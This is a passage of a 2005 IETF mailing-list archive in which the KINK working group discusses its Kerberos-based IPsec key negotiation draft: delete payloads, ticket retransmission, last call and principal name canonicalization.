<20050715160829W.sakane@kame.net> Date: Fri, 15 Jul 2005 16:08:29 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20000228(IM140) Lines: 23 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: ISAKMP Delete payload can not indicate direction of SA. The section 3.3 should describe that the payload contain which direction of SA. 3.3. DELETE Message Flow The DELETE command deletes existing SAs. The DOI specific payloads describe the actual SA to be deleted. For the IPSEC DOI, those payloads will include an ISAKMP payload containing the SPI to be deleted in each direction. I would like to add the following text to clear it. The ISAKMP payload contains ISAKMP Delete payload(s) which is indicated to the inbound SA for the initiator of this flow. KINK does not allow half-open SAs, thus when the responder receives a DELETE command, it MUST delete SAs of both sides, and MUST reply with ISAKMP Delete Payload which is also indicated to the inbound SA for the responder of this flow. If the receiver cannot find an appropriate SPI to be deleted, it MUST return an ISAKMP notification with INVALID_SPI, which also serves to inform the initiator that it can delete the inbound SA. From owner-ietf-kink Mon Jul 18 01:14:17 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6I8EGZ1070497; Mon, 18 Jul 2005 01:14:16 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6I8EGfE070496; Mon, 18 Jul 2005 01:14:16 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from pc-p1-informatica.net (69.Red-213-97-128.pooles.rima-tde.net [213.97.128.69]) by above.proper.com (8.12.11/8.12.9) with SMTP id j6I8EFos070399 for ; Mon, 18 Jul 2005 01:14:16 -0700 (PDT) (envelope-from jtrostle@cisco.com) Date: Mon, 18 Jul 2005 09:13:20 +0000 To: "Ietf-kink" From: "Jtrostle" Subject: Re: Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------lwbpeooasygifjjbefwr" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: ----------lwbpeooasygifjjbefwr Content-Type: text/plain; charset="UTF-8"; format="flowed" +----------------------------------------------------+ Panda GateDefender has detected malicious content (Virus) in the following file: [Garry.cpl] W32/Bagle.AH.worm The file has been deleted to protect the network. 07/18/2005 08:07 +0100 www.pandasoftware.com +----------------------------------------------------+ ----------lwbpeooasygifjjbefwr Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit >Predators


----------lwbpeooasygifjjbefwr-- From owner-ietf-kink Mon Jul 18 16:38:21 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6INcLCm056511; Mon, 18 Jul 2005 16:38:21 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6INcLJs056510; Mon, 18 Jul 2005 16:38:21 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6INcKCQ056504 for ; Mon, 18 Jul 2005 16:38:20 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (ZH094213.ppp.dion.ne.jp [222.3.94.213]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j6INR1H6055272 for ; Tue, 19 Jul 2005 08:27:01 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: draft-ietf-kink-kink-09.txt X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050719083745R.sakane@kame.net> Date: Tue, 19 Jul 2005 08:37:45 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20000228(IM140) Lines: 7 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, I posted the version 09 to internet-darfts@ietf.org yesterday. You can get it from http://www.taca.jp/kink/draft-ietf-kink-kink-09.txt I think that this is nearly final version. From owner-ietf-kink Wed Jul 20 12:50:03 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6KJo3SV012102; Wed, 20 Jul 2005 12:50:03 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6KJo3d8012101; Wed, 20 Jul 2005 12:50:03 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from newodin.ietf.org ([132.151.6.50]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6KJo3Qn012095 for ; Wed, 20 Jul 2005 12:50:03 -0700 (PDT) (envelope-from mlee@newodin.ietf.org) Received: from mlee by newodin.ietf.org with local (Exim 4.43) id 1DvKZu-0007j2-Ij; Wed, 20 Jul 2005 15:50:02 -0400 Content-Type: Multipart/Mixed; Boundary="NextPart" Mime-Version: 1.0 To: i-d-announce@ietf.org Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-kink-09.txt Message-Id: Date: Wed, 20 Jul 2005 15:50:02 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys (KINK) Author(s) : S. Sakane, et al. Filename : draft-ietf-kink-kink-09.txt Pages : 41 Date : 2005-7-20 This document describes the Kerberized Internet Negotiation of Keys (KINK) protocol. KINK defines a low-latency, computationally inexpensive, easily managed, and cryptographically sound protocol to establish and maintain security associations using the Kerberos authentication system. KINK reuses the Quick Mode payloads of the Internet Key Exchange (IKE), which should lead to substantial reuse of existing IKE implementations. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-09.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-kink-09.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-kink-09.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-7-20120356.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-kink-09.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-kink-09.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-7-20120356.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Fri Jul 22 02:12:00 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6M9C0Ke040964; Fri, 22 Jul 2005 02:12:00 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6M9C0BS040963; Fri, 22 Jul 2005 02:12:00 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6M9Bx24040942 for ; Fri, 22 Jul 2005 02:11:59 -0700 (PDT) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id CAE3F5E for ; Fri, 22 Jul 2005 18:11:57 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 3pjxG7; Fri, 22 Jul 2005 18:11:57 +0900 (JST) Date: Fri, 22 Jul 2005 18:12:54 +0900 Message-ID: <20050722181254BT%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Retransmitting a command with different tickets User-Agent: Wanderlust/2.14.0 (Africa) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.0.50 (i386-unknown-netbsdelf3.99.3) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: The current draft says nothing about retransmitting a command with different service tickets. I think we should forbid it, how do you think of it? When a KINK initiator sends a command and the command or its reply is dropped, the initiator retransmits the command. If the initiator renews a service ticket between the first and second transmission, some careless implementations may use different tickets. In that case, some problems may occur. Problem example: If the initiator retransmit the command with the new ticket, the responder may receive the same command with different keys. The responder doesn't know which reply (the reply to the first command or the second one) will get to the initiator, thus doesn't know which key should be used to generate KEYMAT. Another problem: If the initiator detects the ticket renewal and aborts the transaction, the initiator and the responder go out of sync. That is, the initiator thinks the transaction was failed, but the responder may think the transaction was successful. To deal with this problem, the KINK spec need to prohibit a retransmission with a different ticket. Then, how the initiator's behavior should be defined? - Before a transaction, the initiator should check the lifetime of the ticket and avoid near-end-of-life (e.g. shorter lifetime than full retransmission cycle) ticket. - The initiator must continue to use the same ticket in a transaction even if it notices the lifetime is expired. - Leave the behavior to implementations. In this case, some implementation hints may be necessary to avoid above problems. - any other ideas? Regards, -- KAMADA Ken'ichi From owner-ietf-kink Mon Jul 25 18:09:13 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6Q19CZa097400; Mon, 25 Jul 2005 18:09:12 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6Q19CN2097399; Mon, 25 Jul 2005 18:09:12 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6Q19BcH097393 for ; Mon, 25 Jul 2005 18:09:12 -0700 (PDT) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 15B855E for ; Tue, 26 Jul 2005 10:09:10 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 3KpwWh; Tue, 26 Jul 2005 10:09:10 +0900 (JST) Date: Tue, 26 Jul 2005 10:10:10 +0900 Message-ID: <20050726101010CP%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: Retransmitting a command with different tickets In-Reply-To: <42E1647C.2020107@cisco.com> References: <20050722181254BT%kamada@nanohz.org> <42E1647C.2020107@cisco.com> User-Agent: Wanderlust/2.14.0 (Africa) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.0.50 (i386-unknown-netbsdelf3.99.3) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Fri, 22 Jul 2005 14:26:20 -0700, Michael Thomas wrote: > > > The current draft says nothing about retransmitting a command with > > different service tickets. I think we should forbid it, how do you > > think of it? [snip] > > To deal with this problem, the KINK spec need to prohibit a > > retransmission with a different ticket. Then, how the initiator's > > behavior should be defined? > > > > - Before a transaction, the initiator should check the lifetime of the > > ticket and avoid near-end-of-life (e.g. shorter lifetime than full > > retransmission cycle) ticket. > > This seems reasonable: how about "the initiator MUST obtain > a ticket whose lifetime MUST be greater than the initiator's > maximum transaction time including timeouts". Thanks. I'll add the following paragraph into the section 9. When a KINK peer retransmits a command, it MUST use the same ticket within the retransmissions. This is to avoid race conditions on using different keys, which result in different KEYMATs between a initiator and a responder. For this reason, the initiator MUST obtain a ticket whose lifetime MUST be greater than the initiator's maximum transaction time including timeouts. -- KAMADA Ken'ichi From owner-ietf-kink Thu Jul 28 08:44:06 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6SFi6QA024238; Thu, 28 Jul 2005 08:44:06 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6SFi6s7024237; Thu, 28 Jul 2005 08:44:06 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from carter-zimmerman.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6SFi5Ve024230 for ; Thu, 28 Jul 2005 08:44:05 -0700 (PDT) (envelope-from hartmans@mit.edu) Received: by carter-zimmerman.mit.edu (Postfix, from userid 8042) id F2456E0049; Thu, 28 Jul 2005 11:43:20 -0400 (EDT) To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org Subject: Re: Retransmitting a command with different tickets References: <20050722181254BT%kamada@nanohz.org> From: Sam Hartman Date: Thu, 28 Jul 2005 11:43:20 -0400 In-Reply-To: <20050722181254BT%kamada@nanohz.org> (KAMADA Ken'ichi's message of "Fri, 22 Jul 2005 18:12:54 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Presumably the correct behavior is to start a new transaction with the new ticket? From owner-ietf-kink Thu Jul 28 17:54:18 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6T0sIqh068284; Thu, 28 Jul 2005 17:54:18 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j6T0sIIF068283; Thu, 28 Jul 2005 17:54:18 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j6T0sHaJ068277 for ; Thu, 28 Jul 2005 17:54:17 -0700 (PDT) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id E94125; Fri, 29 Jul 2005 09:54:15 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 1ZbwqT; Fri, 29 Jul 2005 09:54:16 +0900 (JST) Date: Fri, 29 Jul 2005 09:55:20 +0900 Message-ID: <20050729095520BW%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: hartmans-ietf@mit.edu, ietf-kink@vpnc.org Subject: Re: Retransmitting a command with different tickets In-Reply-To: References: <20050722181254BT%kamada@nanohz.org> User-Agent: Wanderlust/2.14.0 (Africa) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.0.50 (i386-unknown-netbsdelf3.99.7) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Thu, 28 Jul 2005 11:43:20 -0400, Sam Hartman wrote: > > Presumably the correct behavior is to start a new transaction with the > new ticket? Yes, I also thought that is the most straight forward. But, to do so, the initiator needs to tell the responder that the old transaction was canceled. Consider the case that the ticket is not expired at the first transmission of a command, and the reply was dropped. In such case, the responder think the transaction was successful, but the initiator starts a new transaction. As a result, the responder will have two pairs of SAs. To inform the responder the cancel, we have some candidate way. 1) The initiator makes the responder notice the expire, by sending the old ticket. If it is failed with KRB_AP_ERR_TKT_EXPIRED, the initiators start a new transaction. (This is the second proposal of my original mail). I pretty like this because this doesn't require the implementation to do any extra thing. This just requires the initiator *not* to check the expiration. But I have a concern that we can't do this with the MIT library because of krb5_validate_times() in krb5_mk_req_extended(). 2) The initiator sends a DELETE command. (This is precisely not a cancel, but trying to delete the discarded SPIs just in case). I don't like this because this introduces a new race condition and needs some description to avoid it. 3) Prepare a message to cancel a transaction in the KINK spec. (a new message, an ACK message with an error payload, or something). (I know the kink-00 had an "unexpected ACK" indicating errors). I don't like this because this increases the variation of KINK message flows. -- KAMADA Ken'ichi From owner-ietf-kink Tue Aug 9 06:39:25 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j79DdP2k033750; Tue, 9 Aug 2005 06:39:25 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j79DdPbJ033749; Tue, 9 Aug 2005 06:39:25 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cliodev.pgp.com (RZ-8-253.de.clara.net [62.80.8.253] (may be forged)) by above.proper.com (8.12.11/8.12.9) with ESMTP id j79DdNiT033698 for ; Tue, 9 Aug 2005 06:39:24 -0700 (PDT) (envelope-from warlord@MIT.EDU) Received: from cliodev.pgp.com (cliodev.pgp.com [127.0.0.1]) by cliodev.pgp.com (8.13.1/8.13.1) with ESMTP id j79DdGVO012074 for ; Tue, 9 Aug 2005 15:39:16 +0200 Received: (from warlord@localhost) by cliodev.pgp.com (8.13.1/8.13.1/Submit) id j79DdE0I012071; Tue, 9 Aug 2005 15:39:14 +0200 X-Authentication-Warning: cliodev.pgp.com: warlord set sender to warlord@MIT.EDU using -f From: Derek Atkins To: ietf-kink@vpnc.org Subject: WGLC: draft-ietf-kink-kink-09 (until August 26, 2005) Date: Tue, 09 Aug 2005 15:39:14 +0200 Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At this point there seem to be no open issues left in the KINK draft (except for the small comment about retransmission with expired tickets suggested by KAMADA Ken'ichi), so I'd like to initiate a formal Working Group Last Call on draft-ietf-kink-kink-09. This last call will last until Friday, August 26, 2005. Please have all comments sent to me by that date. You may send comments to this list, or you may send comments to the draft editor (Shoichi Sakane ) and myself, or you may send comments just to me. Thank you, -derek, KINK WG Chair -- Derek Atkins 617-623-3745 derek@ihtfp.com www.ihtfp.com Computer and Internet Security Consultant From owner-ietf-kink Wed Aug 24 09:37:36 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j7OGbatR018641; Wed, 24 Aug 2005 09:37:36 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j7OGbaqd018640; Wed, 24 Aug 2005 09:37:36 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cliodev.pgp.com (table.pgp.com [63.251.255.85] (may be forged)) by above.proper.com (8.12.11/8.12.9) with ESMTP id j7OGbZNT018633 for ; Wed, 24 Aug 2005 09:37:35 -0700 (PDT) (envelope-from warlord@MIT.EDU) Received: from cliodev.pgp.com (cliodev.pgp.com [127.0.0.1]) by cliodev.pgp.com (8.13.1/8.13.1) with ESMTP id j7OGbXhS023106 for ; Wed, 24 Aug 2005 12:37:33 -0400 Received: (from warlord@localhost) by cliodev.pgp.com (8.13.1/8.13.1/Submit) id j7OGbVPF023103; Wed, 24 Aug 2005 12:37:31 -0400 X-Authentication-Warning: cliodev.pgp.com: warlord set sender to warlord@MIT.EDU using -f From: Derek Atkins To: ietf-kink@vpnc.org Subject: REMINDER: WGLC for draft-ietf-kink-kink-09 ends Friday References: Date: Wed, 24 Aug 2005 12:37:31 -0400 In-Reply-To: (Derek Atkins's message of "Tue, 09 Aug 2005 15:39:14 +0200") Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Just a reminder that this WGLC ends on Friday. Please read the draft and send in any comments. Thanks, -derek Derek Atkins writes: > At this point there seem to be no open issues left in the KINK draft > (except for the small comment about retransmission with expired > tickets suggested by KAMADA Ken'ichi), so I'd like to initiate a > formal Working Group Last Call on draft-ietf-kink-kink-09. This last > call will last until Friday, August 26, 2005. Please have all > comments sent to me by that date. > > You may send comments to this list, or you may send comments to the > draft editor (Shoichi Sakane ) and myself, or you may > send comments just to me. > > Thank you, > > -derek, KINK WG Chair -- Derek Atkins 617-623-3745 derek@ihtfp.com www.ihtfp.com Computer and Internet Security Consultant From owner-ietf-kink Sun Aug 28 21:30:14 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j7T4UEGT062380; Sun, 28 Aug 2005 21:30:14 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j7T4UEUB062379; Sun, 28 Aug 2005 21:30:14 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j7T4UCsA062373 for ; Sun, 28 Aug 2005 21:30:13 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j7T45bH6009112 for ; Mon, 29 Aug 2005 13:05:38 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: WGLC: draft-ietf-kink-kink-09 (until August 26, 2005) In-Reply-To: Your message of "Tue, 09 Aug 2005 15:39:14 +0200" References: X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050829133005H.sakane@kame.net> Date: Mon, 29 Aug 2005 13:30:05 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20000228(IM140) Lines: 24 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I have not received any comment yet. If you sent a comment to me directly, something happened to me. Please send it to this mailing list and me again. Regards, > At this point there seem to be no open issues left in the KINK draft > (except for the small comment about retransmission with expired > tickets suggested by KAMADA Ken'ichi), so I'd like to initiate a > formal Working Group Last Call on draft-ietf-kink-kink-09. This last > call will last until Friday, August 26, 2005. Please have all > comments sent to me by that date. > > You may send comments to this list, or you may send comments to the > draft editor (Shoichi Sakane ) and myself, or you may > send comments just to me. > > Thank you, > > -derek, KINK WG Chair > -- > Derek Atkins 617-623-3745 > derek@ihtfp.com www.ihtfp.com > Computer and Internet Security Consultant > From owner-ietf-kink Sun Aug 28 21:49:11 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j7T4nAFZ063497; Sun, 28 Aug 2005 21:49:10 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j7T4nAC5063496; Sun, 28 Aug 2005 21:49:10 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j7T4n9jn063489 for ; Sun, 28 Aug 2005 21:49:09 -0700 (PDT) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j7T4OYH6009202 for ; Mon, 29 Aug 2005 13:24:34 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: kink interop bakeoff X-Mailer: Cue version 0.8 (050427-2145/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050829134902J.sakane@kame.net> Date: Mon, 29 Aug 2005 13:49:02 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20000228(IM140) Lines: 6 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: There is the interop bakeoff, Jan 2006, in the milestones. http://www.ietf.org/html.charters/kink-charter.html If you have any interest in the event, let me know, or send any comment to this mailing list. At least, we have two implementations. From owner-ietf-kink Wed Sep 7 12:08:40 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j87J8epV096883; Wed, 7 Sep 2005 12:08:40 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j87J8edR096882; Wed, 7 Sep 2005 12:08:40 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j87J8d4c096874 for ; Wed, 7 Sep 2005 12:08:40 -0700 (PDT) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id j87J8btN003761; Wed, 7 Sep 2005 15:08:38 -0400 (EDT) Received: from [18.18.1.160] (NOME-KING.MIT.EDU [18.18.1.160]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.13.1/8.12.4) with ESMTP id j87J8WwG024583 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Wed, 7 Sep 2005 15:08:33 -0400 (EDT) Mime-Version: 1.0 (Apple Message framework v734) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Ken Raeburn Subject: kink-09 Date: Wed, 7 Sep 2005 15:08:29 -0400 To: ietf-kink@vpnc.org X-Mailer: Apple Mail (2.734) X-Spam-Score: -1.052 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Sorry this is so late, I've had some non-work disruptions going on lately. Name canonicalization: Section 4.2.1 says that the principal name that SHOULD be used for the service is kink/fqdn@REALM, with fqdn "obtained from some name services". (It also says, "but see the Security Considerations section"; that section does touch on the binding between principal names and SA selectors, but it's not at all clear that that's what this is referring to.) An insecure name service must not be consulted in determining the FQDN; otherwise, a spoofed DNS (or whatever) reply could tell the client, "that's an alias for server-1.black-hats.con", and the client would happily authenticate to that server. In the Kerberos working group, there's a draft in the works to address this problem, draft-ietf-krb-wg-kerberos-referrals-06.txt. However, there may be some less than wonderful interactions. For example, you make a request for a service name which may be an alias, and (if it's an alias in the realm of the KDC you're talking to, and if you requested canonicalization) you get back a ticket either for the correct service principal name, or (if the canonical name is not in the same realm as the alias) for a remote-realm TGS. But the current draft is a bit fuzzy in the user-to-user case. The AP-REQ MUST request mutual authentication. The principal name that the KINK service SHOULD use is "kink/fqdn@REALM", where "kink" is for the KINK IPsec service, "fqdn" is the fully qualified domain name of the service host, and "REALM" is the Kerberos realm of the service. A principal name is case sensitive, and "fqdn" part MUST be lower case as described in [KERBEROS]. This document does not specify how to generate the principal name; complete principal names are stored in local policy, hostnames are obtained from some name services, etc; but see the Security Considerations section. We've been considering some cases where aliases are entered in one realm, pointing to a principal in another realm, when there is no overlap between the administration of the two realms. The type of example I keep bringing up is a 